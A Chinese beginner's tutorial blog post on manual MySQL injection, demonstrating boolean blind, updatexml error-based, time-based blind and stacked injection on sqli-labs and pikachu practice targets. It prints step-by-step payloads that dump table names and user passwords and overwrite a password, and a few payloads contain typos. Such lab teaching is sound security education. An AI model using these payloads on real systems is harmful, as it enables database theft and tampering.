小白学习篇:MYSQL手工注入之多种类多姿势剖析(下)

MYSQL手工注入之多种类多姿势剖析(下)

欢迎大家关注我的i春秋账号:Gatsby
相关链接:https://bbs.ichunqiu.com/?770751

上篇文章跟大家分享了最基础的union注入,这篇文章跟大家分享的主要是常见的基础SQL注入:报错注入、布尔盲注,以及一些进阶的SQL注入

基础篇:

类型二:布尔盲注
这种类型的SQL注入针对只会回显布尔值的网页,先构造闭合,然后一般是通过and加上判断语句拼接传入参数后,查看页面回显的
布尔值来判断and后面的判断语句是否正确。
所需要用到的一些判断语句

(1)用于判断数据库长度,便于后续爆破数据库名

?id=1' and length(database())>=数字 --+

(2)用于截取指定字符配合and进行判断

?id=1' and substr(database(),1,1)='字母' --+
substr(obj,start,length)

上面例子相当于截取了当前数据库的从第1个字符开始,长度为1的字符,然后与引号里面的字母进行匹配判断。

接下来进行靶场演示吧!以sqli-Less8为例子,给各位师傅分析该类型手工注入骚姿势。
首先,判断是否为动态页面
?id=1' 

在id传出参数后加上引号,这导致源代码中sql语句id=‘1’',构造闭合失败,页面回显异常。

再进行and条件判断
请添加图片描述
请添加图片描述
可以发现存在sql注入点。

判断当前数据库的长度

逐一进行判断,到数字来到8时,页面正常回显

?id=1' and length(database())>=8 --+

请添加图片描述

当数字来到9时,页面无回显,由此判断数据库长度应该为8

?id=1' and length(database())>=9 --+

请添加图片描述

逐一检查爆破数据库名

爆破当前数据库字符

?id=1' and sustr(database(),1,1)='$字母$' --+

使用该条语句拼接url后,送进repeater,将字母送进intruder,选择狙击枪攻击模式,遍历字母列表即可。

发现除了字母s会回显正常页面,其余字母回显均为无效页面
请添加图片描述
请添加图片描述
爆破第二个字符同样道理:
请添加图片描述
请添加图片描述

中间省略一下,步骤都是一样的,substr()里的参数将start修改即可,逐一爆破,最后爆出来的数据库名为security

逐一检查爆破数据表名

爆破当前数据库的第一张表表名

?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='$字母$' --+

使用该条语句拼接url后,送进repeater,将字母送进intruder,选择狙击枪攻击模式,遍历字母列表即可。

发现第一张表名首字符爆破除了字母e会回显正常的页面,其余字母回显无效页面
请添加图片描述
请添加图片描述

…省略完全爆出当前数据库的第一张表名过程

如果第一张表不是目标表,那么就可以修改limit 0,1的值来更换需要爆数据的表

按照以上步骤,爆出来的数据表有users,emails,referers,uagents。

逐一检查爆破数据表字段名
?id=1' and substr((select column_name from  information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='$字母$'--+

我们以users表查询为例,进行爆字符

使用该条语句拼接url后,送进repeater,将字母送进intruder,选择狙击枪攻击模式,遍历字母列表即可。

发现第一个字段首字符除了字母i回显正常页面以外,其余字母回显无效页面。
请添加图片描述
请添加图片描述

…省略完全爆出当前数据库的users表的第一个字段名过程

想要获取全部字段,将limit 0,1做修改即可,至此便爆出了全部字段id、username、password

逐一检查爆破数据表数据

判断password字段第一条数据长度

?id=1' length((select password from users limit 0,1))>=数字 --+

请添加图片描述
请添加图片描述

可以发现当第一条数据长度>=4回显的是正常显示的页面,而当第一条数据长度>=5回显的是无法正常回显的页面,说明第一条数据长度为4.

接下来就使用常见的逐一爆破法来进行爆具体字符是什么

?id=1' substr((select password from users limit 0,1),1,1)='$字母$' --+

我们使用bp爆破时候可以发现,当第一个字符为d时回显正常页面,当第一个字符为其他字母时回显的是无效页面。
请添加图片描述
请添加图片描述

…中间过程省略下= =,将start参数进行修改即可爆出第一条完整数据,修改limit 0,1即可爆出其他数据,这是一个耗时较长的过程。

当我们知道username和password后,即可使用这些账号进行登录

总结一下布尔盲注过程:

了解本质:id传参能在数据库索引时(即and前为真时),此时整体为真页面回显正常就要看and后面的语句是否为真了,也正是因为and的存在,才能通过长度判断和字符逐一检查爆破来获取相应的想要的数据,手工爆破耗时比较长,但是步骤都是很单一重复的。

1.利用and和length()进行长度爆破判断,索引每个字段真实的长度

2.利用and和substr()进行逐一字符爆破判断,索引每个字段的具体字符

3.层层递进,数据库名->表名->字段名->数据

类型三:报错注入
这种类型的sql注入页面会将错误信息输出到页面上,那我们可以利用报错注入获取数据。报错注入有很多种格式,小白使用updatexml()函数应该是最方便的。

介绍updatexml()函数

updatexml(xml_document,XPath_string,new_value)

参数介绍:

1.xml_document:是string格式,为XML文档对象名称

2.XPath_string:Xpath格式的字符串

3.new_value:String格式,替换查找到符合条件的数据

为什么会用到updatexml()函数?

其实第一个参数为xml的内容,第二个是需要update的XML的path路径,第三个参数是更新后的内容。

第一个参数和第三个参数其实可以随便写的,第二个参数才是我们真正使用这个嵌入sql语句的灵魂所在。

这里还需要注意的一点是,updatexml()第二个参数构造xpath完全回显所爆数据时,最好使用concat缝合xpath路径,比如说update(1,concat(0x7e,version()),0)

注意:同样需要使用到and语句

这里我就用pikachu漏洞练习平台里面的靶场给大家演示吧!

以SQL-injection的字符型注入为例

判断是否存在注入点

输入aa’,可以看到页面报错信息中’‘a’''并没有构造出闭合

知道存在注入点了,且为单引号构造闭合,那我们就开搞!

请添加图片描述

爆数据库版本
aa' and updatexml(1,concat(0x7e,version()),0) #

能够爆出数据库版本为5.0之后,那么存在information_schema库,看到希望捏!
请添加图片描述

爆当前数据库名
aa' and updatexml(1,concat(0x7e,database()),0) #

请添加图片描述

因为靶场的当前库都是我们需要爆的目标库,所以跨库寻找目标库这一步骤我就省略咯,各位师傅们可以去看看我写的上一篇文章。

爆破表名
aa' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')),0) #

请添加图片描述

可以发现爆破出的表名有httpinfo、member、message、user、x等,对于攻击者,肯定user的信息是显得更重要的嘿嘿嘿。

爆破字段名
aa' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users')),0) #

请添加图片描述

可以发现爆破出的字段名为id,username,password,level,接下来我们爆出username和password字段下的数据就算成功啦!

爆破数据

爆username字段

aa' and updatexml(1,concat(0x7e,(select group_concat(username) from users)),0) #

请添加图片描述

爆password字段

aa' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) #

请添加图片描述

password是经过加密显现出来的,可以去md5在线解密平台进行破译
请添加图片描述

按照username顺序一一对应爆破出来的密码,limit 0,1->limit n,1

其中n为第n+1个用户的密码!

总结一下:

报错注入本质:利用and判断语句拼接,updatexml()函数去执行回显其中路径的sql语句,其他步骤和union联合注入一样!

进阶篇:

类型四:时间盲注
类型介绍:此类注入和布尔盲注非常像,页面回显的是布尔值结果,它的不同之处是在于利用sleep()函数和if()函数联合使得MYSQL的执行时间变长。
知识补充(预热)
sleep函数解析
sleep(x)

sleep()延迟MYSQL执行时间,x为数字,以s为单位,让mysql查询休眠x秒,bp里面看送入repeater后页面返回的时间,,一般在右下角

if()函数
if(exp1,result1,result2)

如果表达式exp1为真,则执行result1,否则执行result2

这里我就用sqli-Less9里面的靶场给大家演示吧!

查询数据库长度
判断是否存在注入点
?id=1'+and+sleep(2) --+

请添加图片描述
请添加图片描述

可以发现,当单独构造闭合的mysql查询时间和在此基础上增加的sleep()函数查询时间完全不同,说明存在sql注入点

判断数据库长度
?id=1'+and+if(length(database())>=数字,sleep(2),1)--+

请添加图片描述
请添加图片描述

发现当判断数据库长度为8时候sleep()成功执行,而数据库长度为9的时候sleep()未成功执行,则可以判断数据库长度为8。

逐一判断爆数据库名
?id=1'+and+if(substr(database(),1,1)='字母',sleep(2),1)--+

发现当第一个字符为s时候,sleep()正常执行,为其他字符时,sleep()并没有执行。
请添加图片描述
请添加图片描述

…省略重复繁杂的步骤,爆出数据库名为security

逐一判断爆数据库表名
?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='字母',sleep(2),1)--+

这里开始就和布尔盲注的步骤差不多了,主要回显就看执行时间变化来判断我们的爆破是否正确

可以发现该数据库的第一个表的第一个字符为e,sleep()正常执行,其他的字母并未让sleep()正常执行
请添加图片描述

…中间步骤比较繁琐,偷个懒省略一下= =

最后可以得出有以下表:emails,referers,users,uagents

逐一判断爆users表下字段名
?id=1'+and+if(substr((select+column_name+from+information_schema.columns+where+table_schema='security'+and+table_name='users'+limit+0,1),1,1)='字母',sleep(2),1)--+

通过修改limit0,1即可知道有多少字段去判断,通过修改substr()中的start参数即可以逐一判断每个字段的完整字符名。

比如说这里就判断出该数据库下的users表的第一个字段的第一个字符为i

…中间步骤比较繁琐,继续偷个懒嘿嘿

最后可以得出有以下字段:id,username,password

逐一判断爆数据
?id=1'+and+if(substr((select+password+from+users+limit+0,1),1,1)='字母',sleep(2),1) --+

这个思路和前面的一致,做得都是循环往复的工作,先判断长度,然后通过调整limit的值和substr()中start的值来获取每个字段下的数据,就不一一展述啦

总结一下:sql时间盲注大致思路和布尔盲注的思路是差不多的,思路是依靠sleep()是否执行来判断逐一爆破判断是否正确,最终达到爆数据的效果。
类型六:堆叠注入
堆叠注入可以执行多条语句,多语句之间以分号隔开。堆叠查询就是利用这个特点,在第二个sql语句中构造自己要执行的语句。

这里我就用sqli-Less38里面的靶场给大家演示吧!堆叠注入可以篡改数据库内容,这是最恐怖之处。

首先判断页面是否为动态
?id=数字

发现当id不同,回显的页面不同,为动态页面。
请添加图片描述
请添加图片描述

判断是否存在注入点
?id=数字'

可以发现当id传参中加入单引号,页面会报错,我们可以想到利用报错注入,而使用
请添加图片描述

?id=数字' --+

页面正常回显,说明存在注入点
请添加图片描述

判断是否存在时间注入
?id=数字' and sleep(2) --+

请添加图片描述

此时观察右下角查询执行时间,可以发现sleep正常执行,说明存在时间注入

利用相关注入爆出字段和数据

…这里省略一下,因为相关方法文章里面都已经提出过了

爆出来的数据库为security,爆出来的相关表单是users,相关字段名为password,username等等

爆出数据后利用堆叠执行
?id=1';update+users+set+password='gatsby'+where+id='1';--+

请添加图片描述

可以发现密码已经被成功篡改!这就是堆叠注入的恐怖之处。

总结一下:其实堆叠注入分为堆叠查询注入和堆叠执行注入,堆叠查询注入在构造闭合的时候,所利用的方法和时间盲注是差不多的,比如说
?id=1';select if(substr(database(),1,1)='字母',sleep(2),1) --+
?id=1';select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='字母',sleep(2),1) --+
所以在能同时使用时,两者中选择一个便好
还有很多类型SQL注入,比如说宽字节注入,利用的是mysql数据库是gbk编码,使用%df和反斜杠%5c组合成一个中文字,这样便绕过了反斜杠注释使得爆出sql注入点。cookie注入即抓取相关数据包,在cookie里面进行sql注入。base64注入即将相关参数加上sql注入语句经过BASE64编码。XFF注入是针对PHP网页,X-Forwarded-for来获取ip时作为注入点添加相关sql注入语句。另外大小写绕过,双写绕过,内联注释绕过等一系列措施也为我们sql注入提供方便。

最后,作为安全小白,水平有限,请各位师傅批评指正,都能收获东西!祝各位师傅好运连连,挖洞连连!

  • 8
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 7
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值